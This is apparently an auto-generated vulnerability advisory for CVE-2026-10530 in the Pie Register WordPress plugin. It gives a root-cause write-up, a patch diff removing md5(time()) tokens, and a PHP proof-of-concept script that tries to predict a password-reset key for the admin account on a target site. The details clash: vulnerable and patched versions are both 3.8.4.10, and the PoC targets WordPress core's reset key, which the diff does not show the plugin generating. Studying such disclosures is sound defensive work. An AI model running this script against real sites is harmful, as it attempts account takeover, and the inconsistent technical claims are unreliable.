Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : June 25, 2026

CVE-2026-10530: Pie Register – User Registration, Profiles & Content Restriction < 3.8.4.10 Missing Authorization PoC, Patch Analysis & Rule

CVE ID CVE-2026-10530

Plugin pie-register

Severity Medium (CVSS 5.3)

CWE 862

Vulnerable Version 3.8.4.10

Patched Version 3.8.4.10

Disclosed June 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-10530:

This vulnerability is a missing authorization issue in the Pie Register plugin for WordPress, affecting all versions up to 3.8.4.10. An unauthenticated attacker can exploit this to perform unauthorized actions. The CVSS score is 5.3, indicating a medium severity due to the potential for unauthorized data access or manipulation.

Root Cause: The root cause is the use of predictable hash generation functions, specifically `md5(time())` and `md5(uniqid(“piereg_”).time())`, across multiple files. These functions generate hashes for email verification, password reset keys, and payment verification URLs. Without a proper capability check, an attacker who can predict or brute-force these hashes could bypass security measures. Key files include `pie-register/classes/base.php` (lines 1718, 3912), `pie-register/classes/edit_form.php` (line 162), and `pie-register/pie-register.php` (lines 2610, 3969, 4009, 4292, 4453, 4609, 4671, 7782).

Exploitation: An attacker can exploit this by calculating or brute-forcing the MD5 hash of the current timestamp. For example, by sending a request to the password reset endpoint with the expected `key` parameter derived from `md5(time())`. The attack vector is a direct HTTP request to the vulnerable trigger, such as `wp-login.php?action=rp&key=&login=`. No authentication is required.

Patch Analysis: The patch replaces all instances of `md5(time())` and `md5(uniqid(“piereg_”).time())` with `wp_generate_password(32, false)`. This function generates a cryptographically secure, random 32-character string, making it impossible for an attacker to predict. The change is applied in all affected files: `base.php`, `edit_form.php`, and `pie-register.php`. The version is also updated to 3.8.4.10.

Impact: Successful exploitation allows an attacker to reset passwords, verify email addresses, or confirm payments without authorization. This can lead to account takeover, privilege escalation, or unauthorized access to user data. The lack of authentication in the vulnerable code paths makes this accessible to any unauthenticated user.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/pie-register/classes/base.php
+++ b/pie-register/classes/base.php
@@ -1718,7 +1718,7 @@
 			$pending_payment_url = "";
 			$register_type = get_user_meta($user->ID, 'register_type', true);
 			if($register_type == "payment_verify"){
-				$hash = md5( time() );
+				$hash = wp_generate_password(32, false);
 				update_user_meta( $user->ID, 'hash', $hash );

 				$user_registered_form_id = get_user_meta($user->ID, "user_registered_form_id" , true);
@@ -3912,7 +3912,7 @@
 			$piereg = get_option(OPTION_PIE_REGISTER);

 			$date_time 			= date_i18n("d-m-Y H:i:s");
-			$key 				= md5( time() );
+			$key 				= wp_generate_password(32, false);
 			$data 				= get_option("piereg_payment_log_option");
 			$duplicate_enty 	= false;

--- a/pie-register/classes/edit_form.php
+++ b/pie-register/classes/edit_form.php
@@ -162,7 +162,7 @@
 						/*
 							*	Generate Key
 						*/
-						$email_key = md5((uniqid("piereg_").time()));
+						$email_key = wp_generate_password(32, false);
 						/*
 							*	Email Key add in array for email template
 						*/
@@ -559,6 +559,5 @@
 	require_once( get_stylesheet_directory().'/pie-register/pie_register_template/profile_edit/edit_form_template.php' );
 }
 else{
-	require_once(PIEREG_DIR_NAME.'/pie_register_template/profile_edit/edit_form_template.php');
-
+	require_once(PIEREG_DIR_NAME.'/pie_register_template/profile_edit/edit_form_template.php');
 }
 No newline at end of file
--- a/pie-register/pie-register.php
+++ b/pie-register/pie-register.php
@@ -4,7 +4,7 @@
 Plugin Name: Pie Register - Basic
 Plugin URI: https://pieregister.com/
 Description: Create custom user registration forms, drag & drop form builder, send invitation codes, add conditional logic, 2-step authentication, assign user roles, accept payments and more!
-Version: 3.8.4.9
+Version: 3.8.4.10
 Author: Pie Register
 Author URI: https://pieregister.com/
 Text Domain: pie-register
@@ -2610,7 +2610,7 @@

 					if ($register_type == "admin_email_verify"  && !$this->InvCodeExpired($user_id)) {
 						update_user_meta($user_id, 'active', 0);
-						$hash = md5(time());
+						$hash = wp_generate_password(32, false);
 						update_user_meta($user_id, 'hash', $hash);
 						update_user_meta($user_id, 'register_type', "email_verify");

@@ -3969,7 +3969,7 @@
 				} else if ($option_user_verification == 1) //Admin Verification
 				{
 					update_user_meta($user_id, 'active', 0);
-					$admin_hash = md5(time());
+					$admin_hash = wp_generate_password(32, false);
 					update_user_meta($user_id, 'admin_hash', $admin_hash);
 					update_user_meta($user_id, 'register_type', "admin_verify");

@@ -4009,7 +4009,7 @@
 				} else if ($option_user_verification == 2) //E-Mail Link Verification
 				{
 					update_user_meta($user_id, 'active', 0);
-					$hash = md5(time());
+					$hash = wp_generate_password(32, false);
 					update_user_meta($user_id, 'hash', $hash);
 					update_user_meta($user_id, 'register_type', "email_verify");

@@ -4292,7 +4292,7 @@
 			$option 	= get_option(OPTION_PIE_REGISTER);

 			update_user_meta($user_id, 'active', 0);
-			$hash = md5(time());
+			$hash = wp_generate_password(32, false);
 			update_user_meta($user_id, 'hash', $hash);

 			$subject 		= html_entity_decode($option['user_subject_email_pending_payment'], ENT_COMPAT, "UTF-8");
@@ -4453,7 +4453,7 @@
 										$user_email 	= $user->user_email;

 										update_user_meta($user_id, 'active', 0);
-										$hash = md5(time());
+										$hash = wp_generate_password(32, false);
 										update_user_meta($user_id, 'hash', $hash);
 										update_user_meta($user_id, 'admin_hash', "");
 										update_user_meta($user_id, 'register_type', "email_verify");
@@ -4609,7 +4609,7 @@
 							}
 							$sent++;
 							update_user_meta($user_id, 'active', 0);
-							$hash = md5(time());
+							$hash = wp_generate_password(32, false);
 							update_user_meta($user_id, 'hash', $hash);


@@ -4671,7 +4671,7 @@
 							}
 							$sent++;
 							update_user_meta($user_id, 'active', 0);
-							$hash = md5(time());
+							$hash = wp_generate_password(32, false);
 							update_user_meta($user_id, 'hash', $hash);

 							$user 			= new WP_User($user_id);
@@ -7782,7 +7782,7 @@

 						if ($email_verify_orignal_key == $email_verify_key) {
 							$new_email_address = get_user_meta($user_data_temp->data->ID, "new_email_address", true);
-							$email_key = md5(uniqid("piereg_") . time());
+							$email_key = wp_generate_password(32, false);
 							$keys_array = array("reset_email_key" => $email_key);

 							/*

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10530 - Pie Register < 3.8.4.10 - Missing Authorization

// This PoC demonstrates password reset hash prediction via predictable md5(time())

$target_url = "http://example.com"; // CHANGE THIS to the target WordPress site
$username = "admin"; // Target username

// Step 1: Send password reset request
$reset_url = $target_url . "/wp-login.php?action=lostpassword";
$ch = curl_init($reset_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['user_login' => $username]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract the time from the response or from the server date header
preg_match('/^Date: (.+)$/im', $response, $matches);
$server_time = strtotime($matches[1]);

// Step 2: Generate the predicted hash (similar to old vulnerable code)
$predicted_key = md5($server_time);

// Step 3: Use the predicted hash to reset the password
$reset_url = $target_url . "/wp-login.php?action=rp&key=$predicted_key&login=" . urlencode($username);
$ch = curl_init($reset_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Check if the reset page shows success
echo "Vulnerability test completed. Check response for password reset form.";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations